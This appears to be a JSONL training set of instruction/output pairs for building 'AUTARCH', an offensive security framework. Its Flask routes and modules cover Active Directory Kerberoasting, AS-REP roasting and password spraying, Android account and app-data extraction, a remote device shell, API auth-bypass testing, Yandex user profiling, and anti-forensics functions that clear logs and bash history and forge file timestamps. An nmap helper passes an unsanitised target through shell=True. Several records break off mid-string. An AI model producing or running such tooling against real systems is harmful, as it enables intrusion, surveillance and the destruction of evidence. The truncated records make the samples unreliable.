self.results_dir.mkdir(exist_ok=True)\n\n def print_status(self, msg, level=\"info\"):\n icons = {\"info\": f\"{Colors.CYAN}[*]\", \"success\": f\"{Colors.GREEN}[+]\",\n \"warning\": f\"{Colors.YELLOW}[!]\", \"error\": f\"{Colors.RED}[-]\"}\n icon = icons.get(level, icons[\"info\"])\n print(f\" {icon} {msg}{Colors.RESET}\")\n\n # =========================================================================\n # MENU\n # =========================================================================\n\n def show_menu(self):\n clear_screen()\n display_banner()\n\n print(f\"{Colors.RED}{Colors.BOLD} Automated Workflow{Colors.RESET}\")\n print(f\"{Colors.DIM} Multi-step pentest pipeline orchestration{Colors.RESET}\")\n print(f\"{Colors.DIM} {'─' * 50}{Colors.RESET}\")\n print()\n print(f\" {Colors.RED}[1]{Colors.RESET} New Workflow {Colors.DIM}- Full automated pipeline{Colors.RESET}\")\n print(f\" {Colors.RED}[2]{Colors.RESET} Quick Scan {Colors.DIM}- Nmap → CVE → Report (no LLM){Colors.RESET}\")\n print(f\" {Colors.RED}[3]{Colors.RESET} Resume Workflow {Colors.DIM}- Load saved state{Colors.RESET}\")\n print()\n print(f\" {Colors.DIM}[0]{Colors.RESET} Back\")\n print()\n\n # =========================================================================\n # NMAP SCAN (shared helper)\n # =========================================================================\n\n def _nmap_service_scan(self, target):\n \"\"\"Run nmap service detection scan on target.\"\"\"\n self.print_status(f\"Running nmap -sV -T4 on {target}...\", \"info\")\n try:\n result = subprocess.run(\n f\"nmap -sV --top-ports 20 -T4 {target}\",\n shell=True, capture_output=True, text=True, timeout=300\n )\n if result.returncode != 0:\n self.print_status(\"nmap scan failed\", \"error\")\n return []\n\n services = []\n port_re = re.compile(r'(\\d+)/(tcp|udp)\\s+open\\s+(\\S+)\\s*(.*)')\n for line in result.stdout.split('\\n'):\n m = port_re.match(line.strip())\n if m:\n parts = m.group(4).strip().split()\n services.append({\n 'port': int(m.group(1)),\n 'protocol': m.group(2),\n 'service': parts[0] if parts else m.group(3),\n 'version': ' '.join(parts[1:]) if len(parts) > 1 else ''\n })\n\n self.print_status(f\"Found {len(services)} open services\", \"success\")\n return services\n\n except subprocess.TimeoutExpired:\n self.print_status(\"nmap timed out after 5 minutes\", \"error\")\n return []\n except Exception as e:\n self.print_status(f\"Scan error: {e}\", \"error\")\n ret
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that gather intel from yandex user accounts. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: yandex_osint\nCategory: osint\nDescription: Gather intel from Yandex user accounts", "output": "\"\"\"\nAUTARCH Yandex OSINT Module\nGather information about Yandex users from their login, email, or public links\n\"\"\"\n\nimport json\nimport os\nimport sys\nimport webbrowser\nfrom pathlib import Path\n\n# Add parent directory to path for imports\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.banner import Colors\n\n# Module metadata\nNAME = \"Yandex OSINT\"\nDESCRIPTION = \"Gather intel from Yandex user accounts\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"1.0\"\nCATEGORY = \"osint\"\n\n# Try to import requests\ntry:\n import requests\nexcept ImportError:\n requests = None\n\n\nclass YandexParser:\n \"\"\"Parser for Yandex user information.\"\"\"\n\n def __init__(self):\n self.session = None\n self.timeout = 10\n self.user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36\"\n self._init_session()\n\n def _init_session(self):\n \"\"\"Initialize requests session.\"\"\"\n if requests is None:\n return\n\n self.session = requests.Session()\n adapter = requests.adapters.HTTPAdapter(max_retries=2)\n self.session.mount('https://', adapter)\n self.session.mount('http://', adapter)\n self.session.headers.update({'User-Agent': self.user_agent})\n\n def lookup_by_login(self, login: str) -> dict:\n \"\"\"Lookup Yandex user by login/email.\n\n Args:\n login: Yandex login or email.\n\n Returns:\n Dict with user information.\n \"\"\"\n # Strip domain from email\n login = login.split('@')[0].strip()\n\n if not login:\n return {'error': 'Invalid login'}\n\n result = {\n 'login': login,\n 'email': f\"{login}@yandex.ru\",\n 'display_name': None,\n 'public_id': None,\n 'avatar_url': None,\n 'profiles': {},\n }\n\n print(f\"{Colors.CYAN}[*] Looking up Yandex user: {login}{Colors.RESET}\")\n\n # Query Yandex Collections API\n try:\n url = f\"https://yandex.ru/collections/api/users/{login}/\"\n response = self.session.get(url, timeout=self.timeout)\n\n if response.status_code == 200:\n data = response.json()\n\n if data.get('title') == \"404 Not Found\":\n result['error'] = 'User not found'\n return result\n\n result['display_name'] = data.get('display_name')\n result['public_id'] = data.get('public_id')\n\n avatar_id = data.get('default_avatar_id')\n if avatar_id:\n result['avatar_url'] = f\"https://avatars.mds.yandex.net/get-yapic/{avatar_id}/islands-300\"\n\n # Build profile URLs\n pub_id = result['public_id']\n if pub_id:\n result['profiles'] = {\n 'reviews': f\"https://reviews.yandex.ru/user/{pub_id}\",\n 'market': f\"https://market.yandex.ru/user/{pub_id}/reviews\",\n 'dzen': f\"https://zen.yandex.ru/user/{pub_id}\",\n 'qa': f\"https://yandex.ru/q/profile/{pub_id}/\",\n }\n\n result['profiles']['music'] = f\"https://music.yandex.ru/users/{login}/tracks\"\n result['profiles']['disk'] = f\"https://disk.yandex.ru/client/disk\"\n\n print(f\"{Colors.GREEN}[+] User found!{Colors.RESET}\")\n\n elif response.status_code == 404:\n result['error'] = 'User not found'\n else:\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Ad Audit' feature. It should have a blueprint with url_prefix='/ad-audit', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 22 route handlers.", "input": "Feature: Ad Audit\nBlueprint: ad_audit_bp\nPrefix: /ad-audit\nRoutes: 22", "output": "\"\"\"Active Directory Audit routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nad_audit_bp = Blueprint('ad_audit', __name__, url_prefix='/ad-audit')\n\n\ndef _get_ad():\n from modules.ad_audit import get_ad_audit\n return get_ad_audit()\n\n\n@ad_audit_bp.route('/')\n@login_required\ndef index():\n return render_template('ad_audit.html')\n\n\n@ad_audit_bp.route('/connect', methods=['POST'])\n@login_required\ndef connect():\n data = request.get_json(silent=True) or {}\n host = data.get('host', '').strip()\n domain = data.get('domain', '').strip()\n username = data.get('username', '').strip() or None\n password = data.get('password', '') or None\n use_ssl = bool(data.get('ssl', False))\n if not host or not domain:\n return jsonify({'success': False, 'message': 'DC host and domain are required'}), 400\n return jsonify(_get_ad().connect(host, domain, username, password, use_ssl))\n\n\n@ad_audit_bp.route('/disconnect', methods=['POST'])\n@login_required\ndef disconnect():\n return jsonify(_get_ad().disconnect())\n\n\n@ad_audit_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_ad().get_connection_info())\n\n\n@ad_audit_bp.route('/users')\n@login_required\ndef users():\n search_filter = request.args.get('filter')\n return jsonify(_get_ad().enumerate_users(search_filter))\n\n\n@ad_audit_bp.route('/groups')\n@login_required\ndef groups():\n search_filter = request.args.get('filter')\n return jsonify(_get_ad().enumerate_groups(search_filter))\n\n\n@ad_audit_bp.route('/computers')\n@login_required\ndef computers():\n return jsonify(_get_ad().enumerate_computers())\n\n\n@ad_audit_bp.route('/ous')\n@login_required\ndef ous():\n return jsonify(_get_ad().enumerate_ous())\n\n\n@ad_audit_bp.route('/gpos')\n@login_required\ndef gpos():\n return jsonify(_get_ad().enumerate_gpos())\n\n\n@ad_audit_bp.route('/trusts')\n@login_required\ndef trusts():\n return jsonify(_get_ad().enumerate_trusts())\n\n\n@ad_audit_bp.route('/dcs')\n@login_required\ndef dcs():\n return jsonify(_get_ad().find_dcs())\n\n\n@ad_audit_bp.route('/kerberoast', methods=['POST'])\n@login_required\ndef kerberoast():\n data = request.get_json(silent=True) or {}\n ad = _get_ad()\n host = data.get('host', '').strip() or ad.dc_host\n domain = data.get('domain', '').strip() or ad.domain\n username = data.get('username', '').strip() or ad.username\n password = data.get('password', '') or ad.password\n if not all([host, domain, username, password]):\n return jsonify({'error': 'Host, domain, username, and password are required'}), 400\n return jsonify(ad.kerberoast(host, domain, username, password))\n\n\n@ad_audit_bp.route('/asrep', methods=['POST'])\n@login_required\ndef asrep():\n data = request.get_json(silent=True) or {}\n ad = _get_ad()\n host = data.get('host', '').strip() or ad.dc_host\n domain = data.get('domain', '').strip() or ad.domain\n userlist = data.get('userlist')\n if isinstance(userlist, str):\n userlist = [u.strip() for u in userlist.split(',') if u.strip()]\n if not host or not domain:\n return jsonify({'error': 'Host and domain are required'}), 400\n return jsonify(ad.asrep_roast(host, domain, userlist or None))\n\n\n@ad_audit_bp.route('/spray', methods=['POST'])\n@login_required\ndef spray():\n data = request.get_json(silent=True) or {}\n ad = _get_ad()\n userlist = data.get('userlist', [])\n if isinstance(userlist, str):\n userlist = [u.strip() for u in userlist.split('\\n') if u.strip()]\n password = data.get('password', '')\n host = data.get('host', '').strip() or
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Analyze' feature. It should have a blueprint with url_prefix='/analyze', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 13 route handlers.", "input": "Feature: Analyze\nBlueprint: analyze_bp\nPrefix: /analyze\nRoutes: 13", "output": "\"\"\"Analyze category route - file analysis, strings, hashes, log analysis, hex dump, compare.\"\"\"\n\nimport os\nimport re\nimport zlib\nimport hashlib\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime\nfrom collections import Counter\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nanalyze_bp = Blueprint('analyze', __name__, url_prefix='/analyze')\n\n\ndef _run_cmd(cmd, timeout=60):\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except Exception:\n return False, \"\"\n\n\ndef _validate_path(filepath):\n \"\"\"Validate and resolve a file path. Returns (Path, error_string).\"\"\"\n if not filepath:\n return None, 'No file path provided'\n p = Path(filepath).expanduser()\n if not p.exists():\n return None, f'File not found: {filepath}'\n if not p.is_file():\n return None, f'Not a file: {filepath}'\n return p, None\n\n\n# ── Hash algorithm identification patterns ────────────────────────────\nHASH_PATTERNS = [\n # Simple hex hashes by length\n {'name': 'CRC16', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{4}$', 'desc': '16-bit CRC'},\n {'name': 'CRC32', 'hashcat': 11500, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': '32-bit CRC checksum'},\n {'name': 'Adler32', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': 'Adler-32 checksum'},\n {'name': 'MySQL323', 'hashcat': 200, 'regex': r'^[a-fA-F0-9]{16}$', 'desc': 'MySQL v3.23 (OLD_PASSWORD)'},\n {'name': 'MD2', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD2 (128-bit, obsolete)'},\n {'name': 'MD4', 'hashcat': 900, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD4 (128-bit, broken)'},\n {'name': 'MD5', 'hashcat': 0, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD5 (128-bit)'},\n {'name': 'NTLM', 'hashcat': 1000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'NTLM (Windows, 128-bit)'},\n {'name': 'LM', 'hashcat': 3000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'LAN Manager hash'},\n {'name': 'RIPEMD-160', 'hashcat': 6000, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'RIPEMD-160 (160-bit)'},\n {'name': 'SHA-1', 'hashcat': 100, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'SHA-1 (160-bit, deprecated)'},\n {'name': 'Tiger-192', 'hashcat': 10000, 'regex': r'^[a-fA-F0-9]{48}$', 'desc': 'Tiger (192-bit)'},\n {'name': 'SHA-224', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{56}$', 'desc': 'SHA-224 (224-bit)'},\n {'name': 'SHA-256', 'hashcat': 1400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA-256 (256-bit)'},\n {'name': 'BLAKE2s-256', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'BLAKE2s (256-bit)'},\n {'name': 'Keccak-256', 'hashcat': 17800, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'Keccak-256'},\n {'name': 'SHA3-256', 'hashcat': 17400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA3-256'},\n {'name': 'SHA-384', 'hashcat': 10800, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA-384 (384-bit)'},\n {'name': 'SHA3-384', 'hashcat': 17500, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA3-384'},\n {'name': 'SHA-512', 'hashcat': 1700, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA-512 (512-bit)'},\n {'name': 'SHA3-512', 'hashcat': 17600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA3-512'},\n {'name': 'BLAKE2b-512', 'hashcat': 600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'BLAKE2b (512-bit)'},\n {'name': 'Keccak-512', 'hashcat': 18000, 'regex': r'^[a-fA-F
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Android Exploit' feature. It should have a blueprint with url_prefix='/android-exploit', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 81 route handlers.", "input": "Feature: Android Exploit\nBlueprint: android_exploit_bp\nPrefix: /android-exploit\nRoutes: 81", "output": "\"\"\"Android Exploitation routes - App extraction, recon, payloads, boot, root.\"\"\"\n\nimport os\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nandroid_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit')\n\n\ndef _get_mgr():\n from core.android_exploit import get_exploit_manager\n return get_exploit_manager()\n\n\ndef _get_serial():\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n if not serial:\n # Auto-detect if only one device connected\n devices = _get_mgr().hw.adb_devices()\n online = [d for d in devices if d.get('state') == 'device']\n if len(online) == 1:\n return online[0]['serial'], None\n return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'})\n return serial, None\n\n\n@android_exploit_bp.route('/')\n@login_required\ndef index():\n from core.hardware import get_hardware_manager\n hw = get_hardware_manager()\n status = hw.get_status()\n return render_template('android_exploit.html', status=status)\n\n\n# ── App Extraction ────────────────────────────────────────────────\n\n@android_exploit_bp.route('/apps/list', methods=['POST'])\n@login_required\ndef apps_list():\n serial, err = _get_serial()\n if err:\n return err\n data = request.get_json(silent=True) or {}\n include_system = data.get('include_system', False)\n return jsonify(_get_mgr().list_packages(serial, include_system=include_system))\n\n\n@android_exploit_bp.route('/apps/pull-apk', methods=['POST'])\n@login_required\ndef apps_pull_apk():\n serial, err = _get_serial()\n if err:\n return err\n data = request.get_json(silent=True) or {}\n package = data.get('package', '').strip()\n if not package:\n return jsonify({'error': 'No package provided'})\n return jsonify(_get_mgr().pull_apk(serial, package))\n\n\n@android_exploit_bp.route('/apps/pull-data', methods=['POST'])\n@login_required\ndef apps_pull_data():\n serial, err = _get_serial()\n if err:\n return err\n data = request.get_json(silent=True) or {}\n package = data.get('package', '').strip()\n if not package:\n return jsonify({'error': 'No package provided'})\n return jsonify(_get_mgr().pull_app_data(serial, package))\n\n\n@android_exploit_bp.route('/apps/shared-prefs', methods=['POST'])\n@login_required\ndef apps_shared_prefs():\n serial, err = _get_serial()\n if err:\n return err\n data = request.get_json(silent=True) or {}\n package = data.get('package', '').strip()\n if not package:\n return jsonify({'error': 'No package provided'})\n return jsonify(_get_mgr().extract_shared_prefs(serial, package))\n\n\n# ── Device Recon ──────────────────────────────────────────────────\n\n@android_exploit_bp.route('/recon/device-dump', methods=['POST'])\n@login_required\ndef recon_device_dump():\n serial, err = _get_serial()\n if err:\n return err\n return jsonify(_get_mgr().full_device_dump(serial))\n\n\n@android_exploit_bp.route('/recon/accounts', methods=['POST'])\n@login_required\ndef recon_accounts():\n serial, err = _get_serial()\n if err:\n return err\n return jsonify(_get_mgr().get_accounts(serial))\n\n\n@android_exploit_bp.route('/recon/wifi', methods=['POST'])\n@login_required\ndef recon_wifi():\n serial, err = _get_serial()\n if err:
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Android Protect' feature. It should have a blueprint with url_prefix='/android-protect', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 63 route handlers.", "input": "Feature: Android Protect\nBlueprint: android_protect_bp\nPrefix: /android-protect\nRoutes: 63", "output": "\"\"\"Android Protection Shield routes — anti-stalkerware/spyware scanning and remediation.\"\"\"\n\nimport os\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nandroid_protect_bp = Blueprint('android_protect', __name__, url_prefix='/android-protect')\n\n\ndef _mgr():\n from core.android_protect import get_android_protect_manager\n return get_android_protect_manager()\n\n\ndef _serial():\n \"\"\"Extract serial from JSON body, form data, or query params.\"\"\"\n data = request.get_json(silent=True) or {}\n serial = data.get('serial') or request.form.get('serial') or request.args.get('serial', '')\n return str(serial).strip() if serial else ''\n\n\n# ── Main Page ───────────────────────────────────────────────────────\n\n@android_protect_bp.route('/')\n@login_required\ndef index():\n from core.hardware import get_hardware_manager\n hw = get_hardware_manager()\n status = hw.get_status()\n sig_stats = _mgr().get_signature_stats()\n return render_template('android_protect.html', status=status, sig_stats=sig_stats)\n\n\n# ── Scan Routes ─────────────────────────────────────────────────────\n\n@android_protect_bp.route('/scan/quick', methods=['POST'])\n@login_required\ndef scan_quick():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().quick_scan(serial))\n\n\n@android_protect_bp.route('/scan/full', methods=['POST'])\n@login_required\ndef scan_full():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().full_protection_scan(serial))\n\n\n@android_protect_bp.route('/scan/export', methods=['POST'])\n@login_required\ndef scan_export():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n scan = _mgr().full_protection_scan(serial)\n return jsonify(_mgr().export_scan_report(serial, scan))\n\n\n@android_protect_bp.route('/scan/stalkerware', methods=['POST'])\n@login_required\ndef scan_stalkerware():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().scan_stalkerware(serial))\n\n\n@android_protect_bp.route('/scan/hidden', methods=['POST'])\n@login_required\ndef scan_hidden():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().scan_hidden_apps(serial))\n\n\n@android_protect_bp.route('/scan/admins', methods=['POST'])\n@login_required\ndef scan_admins():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().scan_device_admins(serial))\n\n\n@android_protect_bp.route('/scan/accessibility', methods=['POST'])\n@login_required\ndef scan_accessibility():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().scan_accessibility_services(serial))\n\n\n@android_protect_bp.route('/scan/listeners', methods=['POST'])\n@login_required\ndef scan_listeners():\n serial = _serial()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(_mgr().scan_notification_listeners(serial))\n\n\n@android_protect_bp.route('/scan/spyware', methods=['POST'])\n@login_required\ndef scan_spyware():\n serial = _serial()\n if not serial:\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Anti Forensics' feature. It should have a blueprint with url_prefix='/anti-forensics', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 14 route handlers.", "input": "Feature: Anti Forensics\nBlueprint: anti_forensics_bp\nPrefix: /anti-forensics\nRoutes: 14", "output": "\"\"\"Anti-Forensics routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nanti_forensics_bp = Blueprint('anti_forensics', __name__, url_prefix='/anti-forensics')\n\ndef _get_mgr():\n from modules.anti_forensics import get_anti_forensics\n return get_anti_forensics()\n\n@anti_forensics_bp.route('/')\n@login_required\ndef index():\n return render_template('anti_forensics.html')\n\n@anti_forensics_bp.route('/capabilities')\n@login_required\ndef capabilities():\n return jsonify(_get_mgr().get_capabilities())\n\n@anti_forensics_bp.route('/delete/file', methods=['POST'])\n@login_required\ndef delete_file():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().delete.secure_delete_file(\n data.get('path', ''), data.get('passes', 3), data.get('method', 'random')\n ))\n\n@anti_forensics_bp.route('/delete/directory', methods=['POST'])\n@login_required\ndef delete_directory():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().delete.secure_delete_directory(\n data.get('path', ''), data.get('passes', 3)\n ))\n\n@anti_forensics_bp.route('/wipe', methods=['POST'])\n@login_required\ndef wipe_free_space():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().delete.wipe_free_space(data.get('mount_point', '')))\n\n@anti_forensics_bp.route('/timestamps', methods=['GET', 'POST'])\n@login_required\ndef timestamps():\n if request.method == 'POST':\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().timestamps.set_timestamps(\n data.get('path', ''), data.get('accessed'), data.get('modified')\n ))\n return jsonify(_get_mgr().timestamps.get_timestamps(request.args.get('path', '')))\n\n@anti_forensics_bp.route('/timestamps/clone', methods=['POST'])\n@login_required\ndef clone_timestamps():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().timestamps.clone_timestamps(data.get('source', ''), data.get('target', '')))\n\n@anti_forensics_bp.route('/timestamps/randomize', methods=['POST'])\n@login_required\ndef randomize_timestamps():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().timestamps.randomize_timestamps(data.get('path', '')))\n\n@anti_forensics_bp.route('/logs')\n@login_required\ndef list_logs():\n return jsonify(_get_mgr().logs.list_logs())\n\n@anti_forensics_bp.route('/logs/clear', methods=['POST'])\n@login_required\ndef clear_log():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().logs.clear_log(data.get('path', '')))\n\n@anti_forensics_bp.route('/logs/remove', methods=['POST'])\n@login_required\ndef remove_entries():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().logs.remove_entries(data.get('path', ''), data.get('pattern', '')))\n\n@anti_forensics_bp.route('/logs/history', methods=['POST'])\n@login_required\ndef clear_history():\n return jsonify(_get_mgr().logs.clear_bash_history())\n\n@anti_forensics_bp.route('/scrub/image', methods=['POST'])\n@login_required\ndef scrub_image():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().scrubber.scrub_image(data.get('path', ''), data.get('output')))\n\n@anti_forensics_bp.route('/scrub/pdf', methods=['POST'])\n@login_required\ndef scrub_pdf():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().scrubber.scrub_pdf_metadata(data.get('path', '')))\n", "type": "route_creation", "source_file": "web/routes/anti_forensics.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Api Fuzzer' feature. It should have a blueprint with url_prefix='/api-fuzzer', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Api Fuzzer\nBlueprint: api_fuzzer_bp\nPrefix: /api-fuzzer\nRoutes: 12", "output": "\"\"\"API Fuzzer routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\napi_fuzzer_bp = Blueprint('api_fuzzer', __name__, url_prefix='/api-fuzzer')\n\ndef _get_fuzzer():\n from modules.api_fuzzer import get_api_fuzzer\n return get_api_fuzzer()\n\n@api_fuzzer_bp.route('/')\n@login_required\ndef index():\n return render_template('api_fuzzer.html')\n\n@api_fuzzer_bp.route('/discover', methods=['POST'])\n@login_required\ndef discover():\n data = request.get_json(silent=True) or {}\n job_id = _get_fuzzer().discover_endpoints(\n data.get('base_url', ''), data.get('custom_paths')\n )\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@api_fuzzer_bp.route('/openapi', methods=['POST'])\n@login_required\ndef parse_openapi():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().parse_openapi(data.get('url', '')))\n\n@api_fuzzer_bp.route('/fuzz', methods=['POST'])\n@login_required\ndef fuzz():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().fuzz_params(\n url=data.get('url', ''),\n method=data.get('method', 'GET'),\n params=data.get('params', {}),\n payload_type=data.get('payload_type', 'type_confusion')\n ))\n\n@api_fuzzer_bp.route('/auth/bypass', methods=['POST'])\n@login_required\ndef auth_bypass():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().test_auth_bypass(data.get('url', '')))\n\n@api_fuzzer_bp.route('/auth/idor', methods=['POST'])\n@login_required\ndef idor():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().test_idor(\n data.get('url_template', ''),\n (data.get('start_id', 1), data.get('end_id', 10)),\n data.get('auth_token')\n ))\n\n@api_fuzzer_bp.route('/ratelimit', methods=['POST'])\n@login_required\ndef rate_limit():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().test_rate_limit(\n data.get('url', ''), data.get('count', 50), data.get('method', 'GET')\n ))\n\n@api_fuzzer_bp.route('/graphql/introspect', methods=['POST'])\n@login_required\ndef graphql_introspect():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().graphql_introspect(data.get('url', '')))\n\n@api_fuzzer_bp.route('/graphql/depth', methods=['POST'])\n@login_required\ndef graphql_depth():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().graphql_depth_test(data.get('url', ''), data.get('max_depth', 10)))\n\n@api_fuzzer_bp.route('/analyze', methods=['POST'])\n@login_required\ndef analyze():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_fuzzer().analyze_response(data.get('url', ''), data.get('method', 'GET')))\n\n@api_fuzzer_bp.route('/auth/set', methods=['POST'])\n@login_required\ndef set_auth():\n data = request.get_json(silent=True) or {}\n _get_fuzzer().set_auth(data.get('type', ''), data.get('value', ''), data.get('header', 'Authorization'))\n return jsonify({'ok': True})\n\n@api_fuzzer_bp.route('/job/<job_id>')\n@login_required\ndef job_status(job_id):\n job = _get_fuzzer().get_job(job_id)\n return jsonify(job or {'error': 'Job not found'})\n", "type": "route_creation", "source_file": "web/routes/api_fuzzer.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Archon' feature. It should have a blueprint with url_prefix='/archon', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 11 route handlers.", "input": "Feature: Archon\nBlueprint: archon_bp\nPrefix: /archon\nRoutes: 11", "output": "\"\"\"Archon route — privileged Android device management via ArchonServer.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\narchon_bp = Blueprint('archon', __name__, url_prefix='/archon')\n\n\n@archon_bp.route('/')\n@login_required\ndef index():\n return render_template('archon.html')\n\n\n@archon_bp.route('/shell', methods=['POST'])\n@login_required\ndef shell():\n \"\"\"Run a shell command on the connected device via ADB.\"\"\"\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n command = data.get('command', '').strip()\n if not command:\n return jsonify({'error': 'No command'})\n\n # Find connected device\n devices = mgr.adb_devices()\n if not devices:\n return jsonify({'stdout': '', 'stderr': 'No ADB device connected', 'exit_code': -1})\n\n serial = devices[0].get('serial', '')\n result = mgr.adb_shell(serial, command)\n return jsonify({\n 'stdout': result.get('output', ''),\n 'stderr': '',\n 'exit_code': result.get('returncode', -1),\n })\n\n\n@archon_bp.route('/pull', methods=['POST'])\n@login_required\ndef pull():\n \"\"\"Pull a file from device to AUTARCH server.\"\"\"\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n remote = data.get('remote', '').strip()\n if not remote:\n return jsonify({'error': 'No remote path'})\n\n devices = mgr.adb_devices()\n if not devices:\n return jsonify({'error': 'No ADB device connected'})\n\n serial = devices[0].get('serial', '')\n result = mgr.adb_pull(serial, remote)\n return jsonify(result)\n\n\n@archon_bp.route('/push', methods=['POST'])\n@login_required\ndef push():\n \"\"\"Push a file from AUTARCH server to device.\"\"\"\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n local = data.get('local', '').strip()\n remote = data.get('remote', '').strip()\n if not local or not remote:\n return jsonify({'error': 'Missing local or remote path'})\n\n devices = mgr.adb_devices()\n if not devices:\n return jsonify({'error': 'No ADB device connected'})\n\n serial = devices[0].get('serial', '')\n result = mgr.adb_push(serial, local, remote)\n return jsonify(result)\n\n\n@archon_bp.route('/packages', methods=['GET'])\n@login_required\ndef packages():\n \"\"\"List installed packages.\"\"\"\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n devices = mgr.adb_devices()\n if not devices:\n return jsonify({'error': 'No device'})\n\n serial = devices[0].get('serial', '')\n show_system = request.args.get('system', 'false') == 'true'\n flag = '-f' if not show_system else '-f -s'\n result = mgr.adb_shell(serial, f'pm list packages {flag}')\n output = result.get('output', '')\n\n pkgs = []\n for line in output.strip().split('\\n'):\n if line.startswith('package:'):\n # format: package:/path/to/apk=com.package.name\n parts = line[8:].split('=', 1)\n if len(parts) == 2:\n pkgs.append({'apk': parts[0], 'package': parts[1]})\n else:\n pkgs.append({'apk': '', 'package': parts[0]})\n\n return jsonify({'packages': pkgs, 'count': len(pkgs)})\n\n\n@archon_bp.route('/grant', methods=['POST'])\n@login_required\ndef grant_permission():\n \"\"\"Grant a permission to a 